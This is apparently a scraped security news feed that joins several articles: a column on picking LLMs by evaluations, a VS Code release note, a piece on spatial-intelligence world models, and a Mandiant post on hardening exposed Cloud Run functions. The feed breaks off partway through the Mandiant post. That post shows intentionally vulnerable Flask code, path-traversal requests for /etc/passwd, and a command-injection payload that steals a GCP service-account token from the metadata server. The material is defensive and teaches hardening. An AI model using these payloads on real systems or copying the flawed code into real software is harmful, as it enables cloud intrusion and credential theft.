<p class="wp-block-paragraph">Still, that upgrade isn’t free.</p>



<p class="wp-block-paragraph">Models differ in how they interpret instructions, call tools, manage context, refuse requests, and fail. Prompts and scaffolding tuned for one model can regress when moved to another. Or costs can explode. As one of my Oracle colleagues discovered just this week, running the same tasks in GPT 5.6 was orders of magnitude more expensive than 5.5. The API change may be trivial, but the revalidation and implications are not.</p>



<p class="wp-block-paragraph">This leaves enterprises caught between two bad options. They can freeze and potentially miss out on meaningful improvements or chase every release and repeatedly test production systems on faith. What to do?</p>



<h2 class="wp-block-heading"><a></a>Stop making model bets</h2>



<p class="wp-block-paragraph">The answer is to stop making LLM bets and start making job-to-be-done bets. Stop asking which model is fastest. Instead, figure out what work you are trying to improve. What does a good result look like? How much latency and cost can the workflow tolerate? How wrong can it be before a human must intervene? Once those questions have answers, model selection becomes less opaque.</p>



<p class="wp-block-paragraph">A difficult code migration may justify GPT-5.6 Sol or Claude Sonnet 5. A repetitive classification task may work just as well with Luna or another smaller model. A regulated workflow may require a model or deployment option that offers particular data controls. Sometimes the correct model is no LLM at all, like when I’m writing this post. Sorry, AI vendors! (At least you won’t get blamed for my mistakes.)</p>



<p class="wp-block-paragraph">This is where evaluations become the center of enterprise AI strategy. <a href="https://www.infoworld.com/article/4166247/improving-ai-agents-through-better-evaluations.html">⁠As I’ve said before</a>, most companies don’t have an AI quality problem so much as an AI measurement problem. Hence, a private evaluation suite built from real company work is the only leaderboard that matters. Does the new model materially improve quality? If so, use it! Does it reduce cost or latency? Again, that’s your free pass to adoption. Does the improvement justify the expense and effort of revalidation? If yes, continue.</p>



<h2 class="wp-block-heading"><a></a>Make model releases boring</h2>



<p class="wp-block-paragraph">As important as the model is, keep in mind that AI success always comes back to <em>your</em> company’s data, <em>your</em> company’s workflows<em>, your</em> company’s integrations, etc. That’s the ⁠<a href="https://www.infoworld.com/article/4157506/mastering-the-dull-reality-of-sexy-ai.html">dull reality behind sexy AI</a>. Retrieval, <a href="https://www.infoworld.com/article/4189492/how-to-improve-the-memory-of-ai-agents.html">memory</a>, governance, data quality, <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a>, and feedback loops aren’t as exciting as a new model launch, but they’re what ultimately make AI truly work.</p>



<p class="wp-block-paragraph">Again, when it’s time to consider something new, the principle should be to default to the least expensive model that reliably passes your evaluations. Only escalate harder tasks to more capable models when measurement shows that the premium pays. Tip: Make this invisible to employees so that the system routes to the best model for a particular prompt. As <a href="https://www.linkedin.com/feed/update/urn:li:activity:7481369774401409024/?dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287481372047860715522%2Curn%3Ali%3Aactivity%3A7481369774401409024%29">dbt Labs’ Jon Lewis expresses</a> it, “The best model is ‘Auto’ and I won’t hear anyone say otherwise.” OpenAI’s own ⁠<a href="https://developers.openai.com/api/docs/guides/latest-model">migration guidance</a> recommends testing models on representative tasks, including trying a lower reasoning level rather than automatically cranking everything to the maximum.</p>



<p class="wp-block-paragraph">As for me, I’ll probably keep clicking the shiniest option. I don’t have a formal evaluation suite for InfoWorld columns, and the marginal cost is a subscription I already pay. Enterprises don’t get that excuse.</p>
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<title><![CDATA[Visual Studio Code backs multi-chat Claude sessions]]></title>
<description><![CDATA[Visual Studio Code 1.128, the most recent edition of Microsoft’s code editor, adds support for multi-chat agent sessions using Anthropic Claude agents. 



Introduced July 8, VS Code 1.28 can be downloaded for Windows, Linux, or Mac from code.visualstudio.com.



With VS Code 1.28, multi-chat age...]]></description>
<link>https://tsecurity.de/de/3671161/ai-nachrichten/visual-studio-code-backs-multi-chat-claude-sessions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671161/ai-nachrichten/visual-studio-code-backs-multi-chat-claude-sessions/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Visual Studio Code 1.128, the most recent edition of <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Microsoft’s code editor</a>, adds support for multi-chat agent sessions using Anthropic Claude agents. </p>



<p class="wp-block-paragraph">Introduced July 8, VS Code 1.28 can be downloaded for Windows, Linux, or Mac from <a href="https://code.visualstudio.com/Download?_exp_download=fb315fc982">code.visualstudio.com</a>.</p>



<p class="wp-block-paragraph">With VS Code 1.28, multi-chat agent sessions now support using Anthropic Claude agents. With multiple chats, a session can contain related chats, allowing users to compare approaches, branch from an earlier turn, and run work in parallel. Users can add chats, fork a chat from an existing turn, switch between peer chats, and send turns concurrently. Each chat keeps its own history, title, and model selection, and restores with the parent session after restart, Microsoft said.</p>



<p class="wp-block-paragraph">VS Code 1.28 also makes Copilot Vision generally available. With Copilot Vision, VS Code users can attach images and PDFs by pasting them into chat, dragging and dropping them, or using the context menu. Images also may be read by the agent via a tool call, Microsoft said. </p>



<p class="wp-block-paragraph">Also in VS Code 1.28:</p>



<ul class="wp-block-list">
<li>Quick chats allow users to ask a question in the Agents window without opening a workspace first.</li>



<li>VS Code can contribute OS-level keyboard shortcuts that take effect even if VS Code is not in focus. Users can add <code>systemWide</code> to a keybinding definition in <code>keybindings.json</code> to make it OS-level.</li>



<li>Developers can configure a location for browser tabs to open via a new setting, <code>workbench.browser.newTabPlacement</code>. The setting provides three options: to open browser tabs in the active editor group, in a dedicated group to the side, or in a dedicated auxiliary window. </li>



<li>VS Code can contribute OS-level keyboard shortcuts. These shortcuts take effect even if VS Code is not in focus. </li>



<li>Administrators can configure where GitHub Copilot sends <a href="https://opentelemetry.io/" target="_blank" rel="noreferrer noopener">OpenTelemetry</a> (OTel) data, allowing organizations to enforce telemetry flows to an approved collector without each developer setting <code>OTEL_*</code> environment variables. The managed configuration applies to both the Copilot Chat extension and the agent host process.</li>
</ul>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[The rise of spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671159/ai-nachrichten/the-rise-of-spatial-intelligence-and-world-models/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Risk of Exposed Cloud Functions and How to Harden]]></title>
<description><![CDATA[Written by: Corné de Jong

Introduction 
Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-par...]]></description>
<link>https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/</guid>
<pubDate>Wed, 15 Jul 2026 16:08:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Corné de Jong</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-party packages, making them targets for a wide range of application-level attacks, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Local and Remote File Inclusion (LFI/RFI)</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Command Injection</span></p>
</li>
</ul>
<p><span>Successful exploitation of these vulnerabilities can grant an attacker full control over the underlying container instance. Such access can serve as a foothold that may ultimately lead to a full compromise of the victim’s cloud environment.</span></p>
<p><span>Based on lessons learned in customer engagements, in this blog post we describe attack scenarios and provide actionable guidance on how to secure serverless environments. While this analysis focuses on hardening strategies for Google Cloud Run services and functions that must remain publicly accessible, these principles apply universally to any public serverless deployment.</span></p>
<h3><span>What are Serverless Applications?</span></h3>
<p><span>Serverless applications, also described as Function-as-a-Service (FaaS), allow the deployment of individual blocks of code as microservices within a flexible, decoupled, and event-driven cloud architecture without the need to manage underlying infrastructure. These services enable applications and automations to scale automatically and deploy instantly, removing operational overhead. </span><span>Serverless services underpin major e-commerce, media, payment processing applications, and AI usage.</span><span> </span></p>
<p><span>The rapid expansion of generative AI adoption is a significant driver of increased serverless architecture use. </span><span>AI workflows, including chatbot interactions, image generation, “vibe-coding”, and multi-step AI agents rely on serverless functions to complete tasks for users. </span><span>This growth has made securing serverless environments a more pressing challenge for enterprise security teams. </span></p>
<h3><span>Risks of Serverless Application Attacks</span></h3>
<p><span>Publicly exposed serverless workloads can serve as an initial access point for threat actors. As noted, these services may contain vulnerabilities within the code, imported packages, or the underlying runtime environment.</span></p>
<p><span>Once an entry point is exploited, attackers typically attempt to escalate privileges or move laterally. Common techniques observed include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Extracting secrets stored directly within the application code.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Reviewing application logic and sensitive data to identify further attack vectors within the environment.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Exfiltrating service account bearer tokens from the metadata server following successful Remote Code Execution (RCE).</span></p>
</li>
</ul>
<p><span>Leveraging these compromised secrets or service accounts allows threat actors to pivot to adjacent systems and workloads, potentially resulting in a total environment takeover if proper hardening strategies are not in place.</span></p>
<h3><span>Example Attack Scenarios</span></h3>
<p><span>The following simplified scenarios illustrate how serverless functions can be compromised and how attackers pivot after achieving initial code execution.</span></p>
<h4><span>Local File Inclusion (LFI) </span></h4>
<p><span>In the following Cloud Run example, a Python/Flask function accepts user-controlled input to open a file without performing proper validation. This pattern is an example of a Local File Inclusion (LFI) vulnerability.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>import functions_framework

@functions_framework.http
def hello_http(request):
    request_json = request.get_json(silent=True)
    request_args = request.args
    if request_json and 'file' in request_json:
        file = request_json['file']
    elif request_args and 'file' in request_args:
        file = request_args['file']
 
# VULNERABILITY: The 'file' parameter is used directly in open() 
# without validation, allowing arbitrary file access
    with open(file, 'r') as resp:
          filedata = resp.read()
    return 'local file data {}!'.format(filedata)</code></pre>
<p><span><span>Figure 1: Vulnerable Python/Flask function accepting unvalidated user input to open files</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>This vulnerability allows an attacker to request sensitive files from the Cloud Run instance by using </span><code>curl</code><span> to send a POST request via the </span><code>file</code><span> parameter:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "main.py"}'</code></pre>
<p><span><span>Figure 2: curl POST request targeting the file parameter</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>The response provides the complete </span><code>main.py</code><span> source code. An attacker can analyze the code for:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Hardcoded secrets such as API keys, database credentials, or authentication tokens</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Business logic flaws and additional injection points</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Internal service endpoints and architecture details</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Import statements revealing the technology stack and potential CVE exposure</span></p>
</li>
</ul>
<p><span>Additionally, attackers can leverage standard </span><code>../</code><span> directory traversal sequences to retrieve sensitive system files:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd"}'</code></pre>
<p><span><span>Figure 3: curl POST request leveraging directory traversal sequences</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>An LFI vulnerability allows an attacker to retrieve and fuzz various files directly from the container. Key examples include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><code>requirements.txt, package.json, go.mod</code><span>: Used to identify installed packages and versions with known vulnerabilities.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>.</span><code>env</code><span> files: Frequently contain sensitive environment variables or hard coded secrets.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Application configuration files: </strong><span>May contain database credentials, API keys, or service endpoints if not securely managed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><code>/etc/passwd, /proc/self/environ</code><span>: Contains user information, environment variables.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Application logs: </strong><span>may contain auth tokens or PII data.</span></p>
</li>
</ul>
<p><strong>Best Practice:</strong><span> Never store secrets or credentials within the source code or local container files. Utilize a dedicated secrets management solution, such as Secret Manager.</span></p>
<h4><span>Code Execution/Command Injection</span></h4>
<p><span>In the following scenario, a Python function uses shell execution methods with unsanitized user input, allowing an attacker to execute arbitrary commands.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>import functions_framework
import subprocess


@functions_framework.http
def hello_http(request):
  request_json = request.get_json(silent=True)
  request_args = request.args
  if request_json and 'input' in request_json:
      input = request_json['input']
  elif request_args and 'input' in request_args:
      input = request_args['input']
  result = subprocess.run(input, shell=True,capture_output=True, text=True)
  return format(result)</code></pre>
<p><span><span>Figure 4: Python function utilizing shell execution with unsanitized user input</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>This allows an attacker to execute a subsequent curl request targeting the GCP metadata service to retrieve the service account’s bearer token. </span></p>
<p><span>The following request extracts the service account's OAuth 2.0 bearer token, which remains valid for 1 hour:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun02-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"</code></pre>
<p><span><span>Figure 5:</span><span> </span><span>Extraction of a GCP service account bearer token via a curl request</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Once obtained, an attacker can use it on an attacker-controlled system to execute Google Cloud CLI commands. For example the </span><code>CLOUDSDK_AUTH_ACCESS_TOKEN</code><span> environment variable can be set using the stolen bearer token.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>export CLOUDSDK_AUTH_ACCESS_TOKEN=”obtain bearer token”</code></pre>
<p><span><span>Figure 6: Defining CLOUDSDK_AUTH_ACCESS_TOKEN environment variable</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Attackers can then leverage Google Cloud Cloud CLI within the security context of the Cloud Run Compute service account. If deployed without best practices and thoughtful configuration controls, for example, if the  Cloud Run service runs as the default compute service account with Editor permissions, this would be equivalent to a full GCP project takeover, and allow the attacker to:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Read/write/delete most GCP resources</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Deploy new services and modify existing configurations</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Access secrets and encryption keys</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Exfiltrate data across all accessible storage systems</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Establish persistent backdoors through new service accounts or SSH keys.</span></p>
</li>
</ul>
<h3><span>Hardening Recommendations</span></h3>
<p><span>Mandiant recommends that organizations implement parallel approaches for effective serverless security:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Secure Software Development Lifecycle (S-SDLC): </strong><span>integrate security scanning, code review, least-privilege IAM into CI/CD pipelines before deployment and integrate continuous security testing; </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Vibe Coding</strong><span>: Mandiant recommends multi-layered security enforcement for AI-generated code or "vibe coding." Organizations should isolate AI experimentation within dedicated sandbox environments and enforce strict data egress controls to protect production systems and internal data. Furthermore, development environments should be restricted to approved IDEs with human-in-the-loop capabilities, utilizing only verified plugins operating under least privilege to mitigate supply chain vulnerabilities. Finally, organizations must ensure this AI-generated software follows Secure Software Development Lifecycle (S-SDLC) controls while establishing clear internal guidelines regarding permitted use cases. Comprehensive security fundamentals for vibe coding are documented in detail within the </span><a href="https://www.wiz.io/academy/ai-security/vibe-coding-security" rel="noopener" target="_blank"><span>Wiz Vibe Coding Security Fundamentals blog</span></a><span>.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compensating Runtime Controls: </strong><span>Implement the following defense-in-depth measures to limit and contain compromise even when application vulnerabilities exist;</span></p>
</li>
</ul>
<h4><span>Segregate Public Services</span></h4>
<p><span>Host public-facing Cloud Run services consumed by untrusted external entities in a dedicated, isolated Google Cloud project. This ensures a compromise does not provide an immediate path to critical internal resources. The implementation of this 'Service Project' model is beyond the scope of this post; however, it is documented in detail within the </span><a href="https://docs.cloud.google.com/architecture/blueprints/serverless-blueprint"><span>secured serverless architecture blueprint</span></a><span>.</span></p>
<h4><span>Identity and Access Management (IAM)</span></h4>
<p><span>Mandiant recommends using a custom service account for service authentication rather than the default Compute Engine service account, following the principle of least privilege. Grant only the specific permissions necessary for the Cloud Run function to operate, for example:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Cloud Storage Bucket Access:</strong><span> If the service only requires read access to objects from a Cloud Storage bucket, grant the </span><code>Storage Object Viewer</code><span> (</span><code>roles/storage.objectViewer</code><span>) role restricted to that specific bucket.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Secret Manager Access:</strong><span>  If the service requires access to secrets, grant the</span><code> Secret Manager Secret Accessor</code><span> (</span><code>roles/secretmanager.secretAccessor</code><span>) role only to the individual secrets required. For further details on secret access from Cloud Run, refer to the </span><a href="https://docs.cloud.google.com/run/docs/configuring/services/secrets#required_roles"><span>GCP documentation on configuring secrets</span></a><span>.</span></p>
</li>
</ul>
<h4><span>Layer 7 Application Load Balancer (ALB) Architecture</span></h4>
<p><span>Restrict ingress traffic for serverless functions to internal only and use an external Layer 7 ALB to manage internet exposure. This provides:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Centralized Traffic Management:</strong><span> Granular control over headers and SSL policies.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud Armor Integration:</strong><span> Web Application Firewall (WAF) support to harden applications against vulnerabilities such as Local/Remote File Inclusion (LFI/RFI) and Server-Side Request Forgery (SSRF).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Traffic Shaping: </strong><span>Implementation of rate limits and request limitations to prevent abuse.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Enhanced Visibility:</strong><span> Robust logging and log-forwarding capabilities for security monitoring.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Identity-Aware Proxy (IAP):</strong><span> integration support for scenarios requiring specific identity-based authentication for internal users.</span></p>
</li>
</ul>
<h4><span>Web Application Firewall (WAF) <span>—</span> Cloud Armor</span></h4>
<p><a href="https://cloud.google.com/security/products/armor"><span>Cloud Armor</span></a><span> provides WAF protections that can be integrated with the Load Balancer to filter malicious traffic. The following examples demonstrate how to configure Cloud Armor security policies to block the specific local file inclusions, remote code execution and traversal attacks previously outlined.</span></p>
<h4><span>Local File Inclusion</span></h4>
<p><span>The </span><code>lfi-v33-stable</code><span> preconfigured WAF rules can block common local file inclusion attacks (</span><a href="https://docs.cloud.google.com/armor/docs/waf-rules#local_file_inclusion_lfi"><span>local file inclusion reference</span></a><span>).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>evaluatePreconfiguredWaf('lfi-v33-stable', {'sensitivity': 3})</code></pre>
<p><span><span>Figure 7: Cloud Armor lfi-v33-stable WAF rule configuration</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Blocking a path traversal request </span><code>../../../etc/passwd</code><span> resulting in a 403 forbidden:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd}'
&lt;!doctype html&gt;&lt;meta charset="utf-8"&gt;&lt;meta name=viewport content="width=device-width, initial-scale=1"&gt;&lt;title&gt;403&lt;/title&gt;403 Forbidden</code></pre>
